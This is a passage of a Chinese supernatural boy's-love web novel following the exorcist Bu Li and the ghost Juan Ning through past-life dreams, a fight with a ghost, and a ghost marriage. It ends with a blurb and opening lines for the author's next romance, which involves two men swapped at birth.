少年将军轻咳一声,脸不自觉红了红,军中少见长相如此清秀的少年郎,而他恰好许意这一款,蓦然对视上,心便如乍响的鼓,点点波动心弦。
“你可还好?”
“无碍。”
步理探究瞅了一眼,然后从床上坐了起来。期间,他看到对方又伸又缩的手,眉心一跳。
这,不太正常……
也确实。
很不正常。
扯借口扯到第五个,步理同意留在了军中。
军中的生活很苦,但若是十分的苦,到步理这里便只剩下了六分。那个少年将军像是养瓷娃娃一样,好生养着步理。
起先,步理很是不适应,立正言辞地告诉对方——
既然我选择留在军中,那些苦我也不畏惧,你不必担忧我的身子。
但对方什么都没有说,只是之后做的那些隐秘了不少。
—
时间似手中流沙,转眼,初雪至。
不知何时,步理下意识先寻找的人一定是那位鲜衣怒马的少年将军。赤红色的衣袍,竖起的黑发带着他送的玉簪。
银色的玉簪,没有过多的缀饰,粗糙的纹路是步理亲手雕刻上去的。
彼此忧心,似乎成了心照不宣的秘事。
……
这个冬天似乎很难熬,战争再一次爆发了。步理没有任何的武力,他的一身本事,只能用来引渡灵魂,绞杀恶鬼,对于这场战争没有任何的帮助。
天下乱,渡者出。
大厦将倾,仅凭少年一己之力无异于螳臂当车。
接二连三的失利,身边的人渐渐变少。
步理的话也越来越少。
天又冷了,呼呼而过的北方,像是一把把刀子一样,营地里只有士兵巡视的脚步声。
步理侧躺着,身上是厚厚的老虎皮做的被褥。没有朝廷供给,这场战役很快就要结束了……而这个少年将军,会做出扔下士兵叛逃之事吗……
“朝廷来信,军粮在路上了。”
步理感受到身边的动静,并没有转身。过度引渡,他的身体近来愈发虚弱。
有时候,他会想,他和对方究竟谁先死。
而这一疑问,现在到底是没有结果。
“病可是又严重了?”
随着声音落下,是一只带着茧子的手。
干燥的温暖传递而来,步理眼睫微颤。
“没有。”
步理没有动,保持着原来的姿势。
“那就好。”
声音中带着关怀,而这话落地后,两人都不曾再说什么。一时间,整个帐篷里十分安静。
一种难以言说的情绪逐渐弥漫开,虽不曾想明白,但这足矣令步理安心入睡。
—
又打仗了。
穿着厚厚的衣服,步理拖着疲惫的身子站在军营门口。
像是泥塑,遥望着远处。
那是将士们回营的路。
这一仗,难打。
军营所有的将兵全都出战。
步理没有去,也不曾开口要去。
总得留下一个人,为他们引渡灵魂。
为他们收尸。
—
国,破了。
引渡者多了起来。
可再也不曾见那位眉清目秀的渡者。
他们大都白发苍苍,手摸胡须,一举一动,一吟一唱,亡魂找到离开之路。
28. 第 28 章
“步理,步理,醒醒!”
像是闹钟的呼喊声惹得步理心烦意乱,迷迷糊糊中,他伸手挥了挥,然后,下一秒被痛醒。
他睁眼,身上趴着一个……鬼。
“干什么咬我。”
步理推攘着,企图从这只鬼的怀里起来。
见步理没有事,隽宁顺其所愿松开了手。步理迅速坐好,摸了摸被咬的地方,隐约感受到痕迹,眉心蹙起,脸有点黑。
隽宁像是没有看到一般,调侃起步理,“做了什么美梦,笑得那么开心?”
“你放”
脏话说一半,被步理硬生生咽下。
不行,他不能说脏话,带坏鬼就不好了。
而且,说起来梦……
稍加一回想,那梦里所见所经历的一切,鲜活无比,惊得步理浑身起冷汗。
“我睡了多久?”
隽宁收敛了些不正经,想了想,回答,“三天。”
“多少?三天?”
步理升起一阵后怕,若不是梦里他死了,那么,遗忘现实的所有的他,会彻底被困在梦里。
他丝毫不怀疑梦境的可怕,毕竟回想起来,禁闭室没有出,他就已经被深深围困其中,遗忘了现实。
“如果我没有预估错的话。”
隽宁点头,他看着精神恍惚的步理,探究之色一闪而过,脸上挂上笑嘻嘻的表情,继续询问,“所以,你梦见什么了?”
步理警惕起来,狐疑望着隽宁,“你到底想知道什么?”
“没有什么,就是听见你一直在换一个人的名字,我想知道,你和他发生了什么……”
隽宁还没有说完,步理直接起身,隽宁连忙说道:“先别出去,那个鬼一直找你呢,我可是好不容易找到这个破庙的。”
步理的动作一顿,也是,他打不过,虽然历经梦境了,可是没有实操,万一没有用,这一条小命真的会没有的。
不过,破庙?
步理开始观察起这间破庙,说是破真的是破,一个桌子,一个掉了色的佛像,除此之外,什么都没有。
连贡品都不曾有。
不过,那个佛像有点眼熟。
步理靠近仔细观察,佛像身上系着一件红色的加沙,弯腿屈坐,一手竖起大拇指和中指交叉,另一只手平摊着放在腿上,手心朝上。
佛像悲天悯人,没有点睛。
对!
这座佛像没有点睛。
梦里,他最后埋尸之地便是这里。
若是如此,那么,这里必然是这只大鬼的老巢。
意识到这个之后,步理眉峰一凌,转身就要告诉隽宁,然而,骤然,天空作响,而后是一阵一阵响彻天地的雷声,紧接着,步理再一次被人搂住了。
腰,凉气入体。
步理侧头,瞧见左眼角的黑痣,愣住。
是梦里的……隽宁。
那位少年将军。
那一位……笨拙的少年郎。
步理彻底愣住,所经历的一切真的太过鲜活,若这只鬼真的是少年将军,那么,梦还是梦吗?
望着突如其来的鬼,隽宁收起了脸上的笑容,步理所有的反应他都看在眼里,对于梦里的另一位主角,隽宁有了猜测。
本来要诈步理的话,如今,倒是以另一种方式印证了究竟是谁让他这个仆人在梦里魂牵梦萦的。
油然而生的愤怒,让隽宁周遭的空气隐隐躁动了起来。
“步理,你不嫌冷吗?”
隽宁嗤笑,倒是挺喜欢待在别人的怀里。
步理回神,后知后觉推鬼,然后没推开,两人的距离更近了些。
“隽宁,松手!”
情急之下,步理喊道。
随后,在隽宁错愕下,大鬼松开了手。
“我说过,你是我的三郎。”
心满意足,大鬼露出了笑容。在半边脸的面具遮挡下,若有若无,带着神秘的美。
摄人心魄。
步理不自在移开了视线。
隽宁:一只骚气的鬼。
“他不是,他今年尚不足二十,如何是你的三郎?”
是个屁,也不看看你还是不是人,还想找一个人成婚,做几个春秋大美梦吧。
“是吗?我与三郎相遇时他也尚不足二十……是啊,我们相遇时三郎不足二十,可是,我们经历了战争,我从万骨堆里爬出来了啊……”
从满心欢喜到万念俱灰,只在一个小数字。
大鬼呐呐自语,想不明白,下意识去找步理,他深深望着步理,满眼希冀,“三郎,你如今可真不足二十?”
声音颤着,那不受控制的发抖好像抖进了步理的心里,引得步理心尖跟着一颤。
可是,他不是这只鬼要找的人,即使真的不是二十,他也要承认是二十。
“我今年尚不足二十。”
说着,步理挣脱开自己的手,往后退了一步,继而补充道,“我不是你找的三郎。”
“你看我说啥,他不是吧。”
隽宁持续输出,他扫了一眼步理的手,莫名的想要去洗手间。
为步理好好去除晦气。
“不是吗?”
“你真的不是吗?”
“你不是的话,我的三郎去哪里了?”
“明明最晚我们……”
“……”
字字句句,如泣如沥。
在步理和隽宁的注视下,他的头从发根开始变白,身上的婚服瞬间变成带血的铁衣,身上开始不断流起血,一股浓重的血腥味在空气里弥散开。
“吱呀——吱呀——”
像是老旧的机器运作起来发出的声音,起先不瞩目,随着大鬼的逐渐显形,四周的怪异声音越来越多,逐渐交叠在一起,真得步理耳膜发麻。
“步理,躲开!”
隽宁瞳孔遽然变大,脸上带着焦灼,迅速扑向步理。
此刻,步理身后已经拉满了骷颅头。步理也不淡定,从他视角看去,隽宁身后是密密麻麻的鬼魂。
各种各样的。
老人,小孩,战士……以及日本鬼子。
这里是近代战争频发地!
步理下意识去掏口袋,随手扯了几张,就往大鬼身上丢。
别悲伤了,小老弟。
我特么的小命都要被玩玩了。
“你别悲伤了!我就是你的三郎行了吧?”
步理怒吼。
大鬼抬头,他的眼球已经消失,留下一行行血泪,但是神情依旧坚韧,“不,你不是。”
隽宁:……
从来都没有如此无语过。
步理死马当活马医,把梦里学习过的,能用的全都用上。
而隽宁则是一手一个,眼神逐渐变得赤红。他的脑海里都是骷颅头扑向步理的画面,越想,动作越狠厉。
大鬼看着步理,慢慢地往后退,退至佛像处,他转身跪了下去。
步理看了看凶残的隽宁,超凡脱俗的大鬼,心里复杂无比。最后他一手拍了出去,一只飞出去。
都很好,精神状态超前!
特么的,他就是个大怨种。
一时间,局面竟诡异的僵持住了。
鬼魂、骷颅头无法靠近步理和隽宁,而隽宁和步理也无法逃跑。
但随着时间的流逝,步理渐渐感觉到力不从心。躲小鬼
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的空隙间,步理看了看杀得疯魔的隽宁,眼底闪过一抹担忧。
这要是再疯一个,他一个人真的应付不过来……
然而,步理并没有忧心多久。
因为多担忧的变成了现实。
……隽宁还真的疯了。
周围的鬼魂被震慑住,骷颅头零零散散洒落在地。隽宁一脚踏碎一个骷髅头,朝跪坐在佛像面前祷告的人走去。
察觉到危险,步理直接远离两只鬼。
“祷告有用吗?”
隽宁妖艳的红唇轻启,披散在肩膀的头发张扬四起,衣服自下而上开始变红,像是地上有血,血从下开始漫延,很快素白的衣袍成了血衣。
步理逃跑的动作一顿,他怔愣地看着隽宁,看着隽宁的本体。
在那一刻,他的大脑一片空白。
梦境与幻境接轨,所有的一切,像一幅幅画卷铺展开。
隽宁,是隽宁。
也是隽宁。
——少年将军。
“你怎么知道没有用?”
跪坐在地上的人睁眼眼睛,扭头望向站着的人。看到隽宁本体的那一刻,他似乎没有很大的震惊。
毫无波澜的眼神,就那么望着隽宁。
“信佛你怎么还会找不到你的三郎呢?”
出乎意料,他没有再疯魔了。
他摇了摇头,视线看向步理,许久,声音悠悠,带着点欣喜,“你,不是已经为我们找到了吗?”
话音未落,大鬼取下面具。
面具下那张与隽宁别无二致的脸就那么暴露在空气里,同样的娇矜贵气。
只不过,从眉大鬼的眉间容易地能窥探出少年郎肆意沙场的傲气,与隽宁安然书卷气截然不同。
隽宁俯瞰着大鬼,看到对方容貌那一刻,眉眼可见一皱,诡谲的红眸里多了探究之味。
“你,是谁?”
“我?”
大鬼没有动作,也没有回复隽宁的疑问。他的视线再一次落到了步理的身上。隽宁蹙眉,扭头看向步理。
步理尴尬一笑,顿时有点站立难安。
若是猜测无误,俩鬼应该合起来才是一只完整的鬼……
因是猜测,步理没有说,只是顶着两道视线沉默着。
“噗——”
大鬼忍不住笑出了声,千百年了,小病秧子终于学会惜命了……会惜命就好。
大鬼伸出了手,仰头望着虎视眈眈的隽宁,眼神示意把他的手放上来,“想知道我是谁,很简单,放上来吧。”
隽宁没有动作,但他知道这是鬼忌惮他,并且不敢触碰他。不然,也不会让他找到机会带着步理逃到这座破庙。
因此,最后隽宁将手放了上去。
大鬼的笑容深了深,最后一眼是看向步理。
鬼无泪。
有泪,皆为血泪。
大鬼的眼眶红了,也只是红了。
他怕吓到胆小鬼。
“隽宁,我是隽宁,我是你。”
声音由实变虚,一同他的身子。
最后彻底消失。
看着这一幕,步理瞳孔猛然变大,迅速跑向两人,最后,抓住了一团空气。
步理呆住,对方消失了……
他们两个果然是一个灵魂吗?
步理脑子飞速转动。
那么,此刻,隽宁应该完整了?
意识到这个,步理转身就要询问。然而,却被直接抱入怀里,随后,他听到了隽宁的声音。
“浮云一别,至今上千年有余。”
“好久不见,三郎。”
轰——
好像有什么东西塌了……
29. 第 29 章
步理僵着身子,半晌不敢动一下,生怕激怒了刚刚灵魂完整的大鬼,万一疯魔了,一个他都不够隽宁撕的。
……但是,这抱的也太久了。
久到步理都觉得隽宁又死了一次。
最后,忍无可忍,步理抬手去推人。然而,手刚搭上去,抱着他的鬼直接消失。
步理惊呆了。
他什么时候能力这么强了?!
还没高兴几秒,步理面前的景物开始崩塌。眼看掉落的瓦片就要砸在他的头上,惊恐之下抬手就要护头,却在瓦片砸上的最后一秒,一切东西全都消失。
“大师?你这是怎么了?大师!”
步理回神,眼前的景物逐渐凝成实质,他抬手挥去眼前的手,侧头脱口而出,“没事,我能有啥事?”
话语里藏不住的烦躁,步理以为自己又陷入幻境了,却没想到叫他的人是雇主的妻子。
那么,这就意味着!
他从幻境里出来了!!!
步理一时间没有绷住,欣喜之意言于表情。女主人一时间觉得瘆得慌,不是说要做法试一试?怎么一个人愣在原地,现在还痴笑起来。
莫不是,这人是骗子?
疑心一起,女主人怎么看都觉得步理有问题。她回头一看,想要找人商量,却没有看到一个人。
人呢?都死哪里去了?
扣工资!必须要扣工资!
女主人愤恨想着,一时没注意,步理已经走到了她儿子的床边。
!!!
别动我儿!!!
也不顾羸弱的身体,女主人一个箭步冲了过去,然而还是慢了一步,符纸被贴在了他儿子身上。
“你在做什么?”
带着愤怒的质问声惊得步理手一颤,好在男孩身上的鬼婴已经被吸入符纸。
步理将符纸收回,侧头对女主人说道:“你儿子身上的婴灵我已经收走,但是吧”
他的话语一顿,女主人心顿时提了起来。
“你可还有别的亲戚?”
女主人迟疑一下,紧接着摇头。步理没有说话,看着对方。最后,在步理的注视下,女主人点头,迟缓道:“乡下有个远方表妹。”
“送乡下吧。”
步理话刚一出,女主人再次激动起来,“为什么,这是我儿子!”
“那可能你过段时间就要给我送点钱。”
步理情绪稳定,看着有点疯癫的女主人,也没惯着她。一座建造在坟地上的别墅,他收了一次鬼,怎么可能就一劳永逸了呢?
“我……必须要送吗?”
“时间不早了,我和你先生的交易结束,就告辞了。”
步理没有废话,抬脚就要离开。
女主人眼疾手快扯住步理,一时间步理有些烦躁。幻境刚破不久,这别墅还异常阴冷,他此刻只想离这些鬼东西远一点。
“你这是何意?”
声音冷冷的,扭头看向女主人的眼神中夹杂着不耐烦。女主人下意识松开手,想问的话转了个弯,“你之前要我准备的东西,还要吗?”
那些只是借口,步理不想待在这里的借口。
如今,事情以了结,自然没有用。
不过……
“照常准备,如果他和你们住在一起的话,下一次我来就不用麻烦了。”
话一说完,步理抬脚就走。
女主人望着步理离开的背影,浑身力气顿时被抽干净,卸了力气往后一退坐到了床上。
年轻时总想挣钱,就是为了以后儿孙满堂绕膝前,如今,家破人亡也不远了。
丈夫疾病缠身,孩子一再夭折,如今,唯一的孩子也要死在这栋别墅了啊……果真是报应。
热泪盈眶,模糊了视线。
许久,她颤颤巍巍拿出了手机,拨通了电话。
她可以死,她的丈夫也可以死,唯独她的孩子不能死。
—
走出别墅,步理感觉好多了。
只是,没人送,费了点腿。
等到走到有车的地方,步理也不管口袋里的钱多不多,直接豪气地拦下了出租车。
最后,到家时,步理口袋里的现金压根不够。窘迫之下,步理邀请出租车司机和他一起上楼取钱。司机瞧着步理,觉得对方俊秀的很,和他单身狗的女儿正好相配,于是大手一挥,免了零头,向步理要联系方式。
步理再三确定下,将自己手绘制作的名片递给了司机,并且露出一个大大的笑容,说了一句令司机尴尬无比的话,就下车走了。
那句话是——大哥好心肠,来日有需要我给你打折,也给你抹零头。
司机嘴角抽抽,看着手里的小卡片,手写的电话号和“专治专家不能治的病”并排挨着,旁边一个大大的笑容,似哭似笑,像是在嘲笑自己一样。
司机顿时觉得自己脑子也有病了。
什么玩意。
本来闺女就够抽象了。
可别再来一个。
打开窗户,卡片一扔,启动车子就飞速离开。
那架势,生怕自己被不瓜灵的东西传染上。
—
打开门,双鞋一踢,步理直奔沙发。
他享受般躺在沙发上,右腿一抬一搭,放在了沙发背上,左腿往外一拐,耷拉在地上。而后,步理长长舒了一口,来了一句——
“舒服~”
没有鬼霸占沙发就是爽。
软软的沙发回来就是爽。
自己一个人享受还是爽。
总之,爽极了。
然后,爽极了的步理躺在沙发上,慢慢地,便被睡意裹挟,不出半会细小的鼾声在屋里起起落落。
屋外的夕阳透过阳台照射进来,刚好落下了步理的身上。如画的眉目被橘黄色的光轻触着,睡着的人长睫敛下一片阴影,他的面容在落日的余晖下显得柔和而安详。
仿佛盛夏里的落日也温柔了。
时间流逝,不出半会,这一份安详,随着落日一起消匿消匿在了黑夜里。
又是梦。
步理清晰的认识到自己在做梦。
不同于上一次,这一次他好像是一抹游魂,谁也看不到,跟随着梦的主角移动。
梦中,步理被迫看着一个婴儿慢慢长大。起初,没有看出来对方是谁,然而,随着婴儿落地会走,牙牙学语,再到步入学堂,渐渐的,步理认出了这个婴儿。
他是那只大鬼心心念念的人。
对方嘴里的三郎。
步理飘向前,仗着没人能看到他。他飘来飘去,左看看右看看,最后得出一个结论。
——还真特么和他小时候一个样。
一时间,步理有点理解大鬼认错人的行为。
这让他师傅来了都得说一句:像,太像了,哪哪都像。
步理越看越觉得玄乎,瞧着圆乎乎的小脸,由内而发的喜欢,看那葡萄似的眼睛,圆溜溜的,多好看。
欣赏半天,步理决定好好陪伴这娃娃。
对于突然进入梦境这件事,他不生气了,他现在要做个记录者。
用眼睛记录这娃娃的成长。
也确实,在没出意外的情况下,步理陪伴娃娃长成了翩翩少年郎,成了山里最捣乱的小师弟。
无父无母的娃娃快要弱冠那一年,天下大乱。
山里的渡者去了一个又一个,终于,娃娃忍不住了,请缨下山。
虽天命至,理应放人下山。
然而,这一去,必定凶多吉少。
禁闭室三天,没能改变娃娃心意。
对方还是下了山。
与步理经历梦境不同的是,那家客栈没有活人,全都是死人。也因此,碰到了外出的少年将军。
匆匆一别后,再次相见是在战场。
满目疮痍之中,去而往返的少年将军遇到了意想不到的人。
素白色的衣袍,就那么躺在了尸体堆。
……睡着了
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。
少年将军忍不住露出了笑容,弯腰抱起人回了军营。
后来啊。
步理亲眼看着两人越走越近,那关系超越朋友,却不似知己。
弱冠那一日。
少年将军送了青翠色的镯子。
步理看着,镯子到了娃娃的手腕上。
青绿色的镯子衬得肌肤更加白皙,嫣红的耳垂说明了一切。
步理愣住,久久没有答案的问题迎刃而解。
这时,太阳从云层里出来了,暖洋洋的光笼罩着树下的两人。
步理瞧着。
树下的娃娃抬眸,像是无意地一瞥,却直直撞入步理的灵魂。
他,是能被看见的?
步理缓缓升起一个疑问。
最终,在对方无声的唇语里得到了印证。
——该回去了。
步理依稀辨认清楚,还没有做出什么反应下一秒,灵魂感受到一股强大的吸力。
再然后,现实里,他睁开了眼睛。
“你在干什么?”
睡得太久了,嗓子哑哑的。而那带着点沙沙磁性的音,引来了一个满是情意的吻。
趴在步理面前的鬼吻了上去。
很冷。
这是步理的直观感受。
再然后就是,阳气又少了点。
好像。
时间不久,在步理发飙前,他被松开了。
“你干什么呢?”
又问了一遍。
“亲你。”
隽宁很实诚回答。
步理:……
这么直观的现象,我会看不出来吗?
隽宁知晓步理此刻心情不美妙,但是,他有一个更重要的事要做。隽宁将费力找回来手镯拿了出来,随后往步理的左手戴去。
“哎,干嘛呢?干嘛?”
步理挡住隽宁的动作。
“你的东西我找回来了。”
隽宁视线移回步理身上。
步理张嘴要反驳,但是,想起那两个梦,最后,无从反驳。
这些似乎都是他前世的记忆。
但,他真的还要和前世的人纠缠不清吗?
步理走神间,隽宁扯开挡着的手,将镯子给步理戴上。
感受到冰凉之意,步理回神已经来不及了。
不是,他就这么水灵灵把自己卖了?
步理欲哭无泪,也有点生气。他扯了扯镯子,没能扯下来,更生气。
于是,口不择拦下,步理十分生气说道:“那不是我的,我不是你们要找的步理,我今年才二十四岁,不是上千岁!”
“嗯。”
隽宁应道,安抚着步理,“这是你的东西,虽然是我送的,但已经成为你的了。”
之前,玉镯长期跟着步理,步理又是渡者,久而久之就有了养身静心的作用。没有记忆这段时间,他和步理相处甚密,虽然步理阳气盛,但到底也有影响,玉镯对他有好处。
“我,你,竟然强买强卖!”
步理挥了挥手,起身就要回房。
隽宁瞧着生气的人,最后止步于客厅。
晚饭步理没有吃,回房就直接去床上瘫着了。他好气地看了看镯子,最后又尝试了一番,依旧没有取下来。
然后,他放弃了,脱掉外衣,抖开被子,闭眼就睡。
许是因为镯子的原因。
他知道了那些没能知道的后半部分故事。
镯子,是千年前的步理留给他和隽宁的一个希望。
能再次相逢的一个希望。
镯子陪伴着隽宁,促使了隽宁执念的分化。
而那分化出的执念,代替了隽宁留在原地。之后,记忆被执念掠夺走的隽宁懵懂下离开了。
他四处飘荡着。
最后找到了一座空坟墓。
然后,他就那么住了下来。
直到。
他的一脚,踩醒了午休的鬼。
30. 第 30 章
前半夜步理一直做梦。后半夜,室内温度降了不少后,他便没有了梦。
一直到第二日中午,步理悠悠转醒。
伸手间,他碰到了凉凉地东西,侧头,果不其然看到了隽宁。对方睡得老好了,嘴唇微张,凝神听还有微弱的呼吸声。
步理乐出了声,鬼之所以是鬼,那就是没有人的生命体征。
而他家这只真与众不同,还会呼吸。
“笑什么。”
因着笑声过大,吵醒了隽宁,他蹙眉,往步理那边靠近了些,一只手直接搭在了步理的腰上。
“没什么。你为什么进来了?”
“沙发太小了。”
隽宁抿唇,满脸的嫌弃,灵动的眼睛和昨日判若两人。
“你不去工作吗?”
工作好,能有钱,换个大一点的沙发。
步理狐疑地靠近隽宁,试探性伸了伸手,露出了翠绿色的镯子。可隽宁像是不认识一般,将他的手往一边一推,无语至极。
“干嘛?”
我一靠!隽宁这是失忆了?
步理摇头,思绪繁杂,随意回复着隽宁,“没事没事。”
隽宁没有戳破步理炫耀的心,诚然那是一个好东西,他应赞美一通。
但不知道为什么,就是看着那个镯子不顺眼。
至于为什么,隽宁想,或许男生戴着别扭吧。
即使,镯子在步理手腕上很合适,翠绿色仿佛衬得步理更白了。
步理没有料到隽宁能那样想,他回忆着师傅留下的手札,似乎记载过这种情况。
是什么来着?
对。手札里说鬼的记忆、意识与力量息息相关,若鬼的力量弱,鬼便无记忆,飘是最弱的一类,无意识,无危害。
现在隽宁的状态,这是受伤了?
“你受伤了?”,步理问。
“受伤?不知道哎。”
隽宁摇头,“不过,我确实有点缺阳气。”
说起这个,隽宁眼睛滴溜一转,眼里疑惑退去,逐渐变得坚定,满是目的性靠近步理。
步理心里警铃大作,一个激灵将人推开,掀开被子就下床。
“今天休息不开张。”
见人跑得飞快,隽宁撇嘴,又躺了回去。
哼,不称职的仆人。
离开卧室的步理,坐在沙发上,猛然想起,隽宁是能缩小的,所以,他去屋里睡只有一个可能,就是对方觊觎自己的阳气。
念及此,步理哼笑声,还挺能扯的啊。
会骗人了……
—
市场里。
步理摇头!果断地摇头!
现在的他也不管别人眼里他是不是犯病,就是不同意隽宁的提议。
“为什么不?我可以帮你赚钱。”
“你这话说过,但是没有用。”
步理再次拒绝。
虽然市场足够的乱,人足够多,但是,遇见怪人,总有人会停下来看看。眼见越来越多人看向他,步理果断抬脚就走。
隽宁想不明白他什么时候说过这话了,不过,这不是当务之急的事,当务之急是步理为什么看起来怒气冲冲。
隽宁揣测不出,更不会知道因为自己一句沙发太小,让步理想起了早上被骗的事,因此才看起来跟火药桶炸了一样。
不过这都不是问题,隽宁认为哄人嘛。
简单极了。
他看着步理离开的身影,眼睛一眯,微微勾唇,转身往后飘去。
十分有信心的隽宁,没有跟着步理回家。
随着当太阳落,步理也在家里等到了隽宁。
步理看着鬼混完的鬼,没有任何想要搭理的心思。随着隽宁框框掏出一只又一只鬼后,他彻底心如死水了。
“你干嘛?”
“给你赚钱。”
“鬼?”
“是的?”
“我在家等了你两个小时,你去给我捉鬼了?况且,这和你赚钱有什么关系?”
“有关系的。”
步理一脸难以言说的表情,他看了看被殴打凄惨的鬼魂,嘴角无形抽抽着,一时间也不知道该心疼谁。
好惨的鬼,好惨的我。
“你不喜欢?”,隽宁问。
“你觉得我一个人能喜欢起来?”
步理反问,你这无异于你给羊送狼,给兔子送老虎,我能喜欢起来吗?
隽宁沉默,许久后嗫嚅道:“他们可以帮你捣乱,然后你可,不,我可以帮你收拾他们,然后你可以赚大钱。”
隽宁给步理的冲击太过巨大了,一时间,步理张嘴都不知道要说些什么了。
隽宁他什么时候学会的坑蒙拐骗?
简直比他还厉害。
他也就随遇而安,骗骗人,卖卖假符纸。
而隽宁直接制造机会,简直比他这个人还要像人。
一边的鬼们一个挨着一个,挤在一起瑟瑟发抖,不敢看不敢说,只想就地消失。
“不可以吗?”
隽宁又问了一遍。
步理摇头,拒绝,“不可,把他们”
说着视线移到挤成一团的鬼,步理眉心一跳,脑疼说道:“都丢出去。”
“哦。”
隽宁扭头,挤成一团的鬼们直接一窝蜂朝外飞走。
隽宁摊手,“没了,一个都没了。”
“没了就没了。”
你为什么看起来这么遗憾?
“钱也没了。”
步理感叹着,而后自我安慰,“好歹把你哄好了。”
槽点太多,步理都不知道从何反驳,最后再三严令禁止把鬼魂带回家,“别再带鬼魂回家了,否则把你丢出去。”
隽宁心里哼唧一声,面上微笑,答应很是畅快,“好哒,你做主。”
步理:……
—
第二日,依旧如此,身边有个人形空调,步理倒是没有了昨日的惊吓。他试探性问了几句话,发现隽宁的记忆依旧昨日,没有任何的恢复迹象。
默默松了一口气,下床,今日要工作。
两人的日子十分平淡,像是喝白开水一样,偶尔有些小争吵,冲淡些平静的生活。
其实那些争吵也不算是争吵,倒像是……伴侣间的拌嘴。
步理的性格闷,凡事在心里过了一遍又一遍,极少会说出口。而隽宁,有些越往回活的势头,原本心眼子就不多,现在真成了缺心眼。
这就导致,有时候极难沟通。
比如,现在,隽宁站在一边靠着墙,步理坐在沙发上端坐着。
“步理,赚钱了为什么不给我换个大的沙发?”
你说呢,两百块钱算个啥?就你看的沙发,边角料都买不起。
而这,将会成为我两周的饭钱!
步理嘴上没说不买,其实行动上已经表明:买沙发?那是绝对不可能。
“我们没钱。”
“你有啊,我帮你赚的。”
说起这个,也确实是隽宁赚的钱。
最近,竞争关系的同行不知从哪里听说了步理的名号,惦记上了步理手里吃饭的家伙,策划了一场抢劫。
然后,就让隽宁给收拾了。
顺带坑了对方兜里的两百元。
“这是你的住宿费,伙食费。”
不仅偷摸吸我阳气,还偷摸去吃他祖师爷们的香火,收点钱合理的。
“那行吧。”
隽宁叹了一口气。
步理还在想其他措辞,没料到隽宁就这么妥协了,一时间竟让他有些愧疚。<
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“让你吸阳气,跟你交换。”
还在想如何找到那个贼人勒索的隽宁:?
说什么?
吸阳气?
反应不过五秒,隽宁直接瞬间移到步理前面。因着对方是坐在沙发上,所以,隽宁直接叉腿,跨坐上去,亲了上去。
四目相对。
他们明明只是在渡阳气。
砰——
砰砰——
砰砰砰——
隽宁感觉到了心跳,强劲而有力,像是无心的胸腔在疯狂的滋长血肉。
眼前的步理没有动作,他似乎被自己吓住了。
隽宁想。
时间仿佛静止,隽宁停止了吸取。
触碰到渴望无比的阳气,并没有隽宁意料之内的欣喜和迫不及待,反而油然而生一种冲动。
鬼神差使下,隽宁伸出了舌尖。
轻碰。
砰砰砰砰砰——
心脏的跳动更极了,在这安静的房间里,显得尤为的突出,落入耳中,更是清晰无比。
有些东西,不一样了。
步理想。
好像很早就不一样了。
眼前是放大的面庞,他能清楚的看清隽宁眼尾靠里的黑痣,很小的一颗,放在隽宁的这张脸上恰到好处。
动情之时,介于纯和媚之间。
而这足矣令视觉动物肾上腺素激增,多巴胺迅速分泌。
“步理,我想亲你。”,隽宁微微拉开了点距离,敛眸,视线放在步理的唇上,轻声呢喃。
“我这算是诱骗吗?”
隽宁没有听懂,但如果是步理的话,他其实可以被诱骗一下的。
“不算,算也给你诱骗。”
亲吻的欲望超过的吸取阳气的欲望,隽宁整个人看起来乖顺无比,他等着步理的回复。
仿佛步理不说话,他就能一直等下去似的。
“鬼界讲求一夫一妻制吗?”
“不知道,我是孤魂野鬼。”
“那好,你后你就有夫了。”
夫?
隽宁没有反应过来,张嘴的瞬间,他感受到后脑勺一股推力,而后眼前面庞放大,嘴上一热。
他被亲了。
被步理亲了。
嘿嘿。
那就勉为其难当妻吧。
当晚,隽宁名正言顺睡在了床上。
水深火热。
两人都是水深火热。
步理用最开始隽宁嫌弃的领带,绑了隽宁的双手。隽宁更为嫌弃了领带了,谋杀不谋杀步理他不知道,反正让他挺难受的,想抓个东西的时候,只有空气,以至于感受都集中在了……步理身上。
—
结了冥婚,按照习俗,隽宁应该冠夫姓,入祖坟。但是吧,先不说换不换名字,就尸首来说,隽宁尸首早以化为黄土。
最后,商量后,名字不改,坟迁。
择黄道吉日,步理手写隽宁的名字,以指尖血一滴,落坟入祖。
至此,步理与隽宁正式结为夫夫。
是三生石、姻缘树都会有的那种。
夜晚。
突发奇想,步理想要看看缩小版的隽宁。
隽宁起先不愿意,因为,他总觉得步理不怀好意。但,耐不住步理磨人,然后,他送了上了门。
再然后,都是不可说。
—
陪伴是最长久的告白。
隽宁的告白热烈而肆意。
除去前二十多年未有相逢,此后,隽宁不再曾与步理分离。
记忆最后恢复了没。
好像一人一鬼都不曾再在意过。
隽宁永远是隽宁,步理也永远是步理。
这是亘古不变的。
—完—
31. 简介
祁宋二十四生日那晚,祁家迎来了一个新的成员。病入膏肓的祁母拉着祁宋的手,言语之间,小心翼翼,满是歉意。
她说,他是被抱错的孩子,祁家真正的孩子是孟厌。
她还说,无论孟厌回不回来,他依旧是祁家的孩子,让他安心的留在祁家。
正准备和祁母报喜的祁宋咽下了要说的话,二十多年的母子亲情,他在这个敏感的时候,不应该提出搬出老宅的。
即使,他原本的计划就是如此。
就这样子,祁宋留在了祁家老宅。
本以为自己避一避,能和刚被寻找回来的孟厌和平相处的。
然而,事与愿违……
当两具身体相贴时,经年的恨意再也隐藏不住。孟厌眼神多么的柔情蜜意,嘴里就有多么的尖酸刻薄。
他说,哥哥,我讨厌你,有时候真想把你捅死一了百了。
他还说,我们是世界上最恶心的那一种人。
哥哥和弟弟。
那是有违人伦纲常的。
祁宋不以为然。
情事图个你情我愿,况且,究其溯源是对方先爬的床。
图的不过是个合拍罢了。
—
祁宋向来不喜废话,能做他绝不会多言。
情事浓烈下,
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对孟厌口无遮拦最好的教训,就是彻夜不灭的灯,以及红肿的膝盖……
纠缠多了,纠缠久了。
孟厌心思变了。
不知何时,他口无遮拦的话越来越少……等到祁宋察觉到不对劲那一天,无根浮萍的孟厌已经死死纠缠住了他。
——
排雷:
1.真少爷是受,他是真扭曲,是真坏,攻是假少爷,是真矜傲,是真冷漠。
2.两人锁死不拆,狗血且he,双c。
它插队啦~
虚构|2024年9月8日
祁宋X孟厌
左右有意义
32. 第 32 章
“哥哥,你说他们、嗯、能看到我们吗?”
孟厌的话说断断续续的,轻柔的声音满是藏不住的激动。因为冲击迫使着他去借力,双手使劲摁在透明无比的玻璃上,指尖处不可避免泛起白,长时间同一个动作让他大腿有些颤。
祁宋的视线从男人的蝴蝶骨处移开,顺着对方的话看了过去。
花园里,三三两两的人正在勤奋的工作着。
现在,是白天。
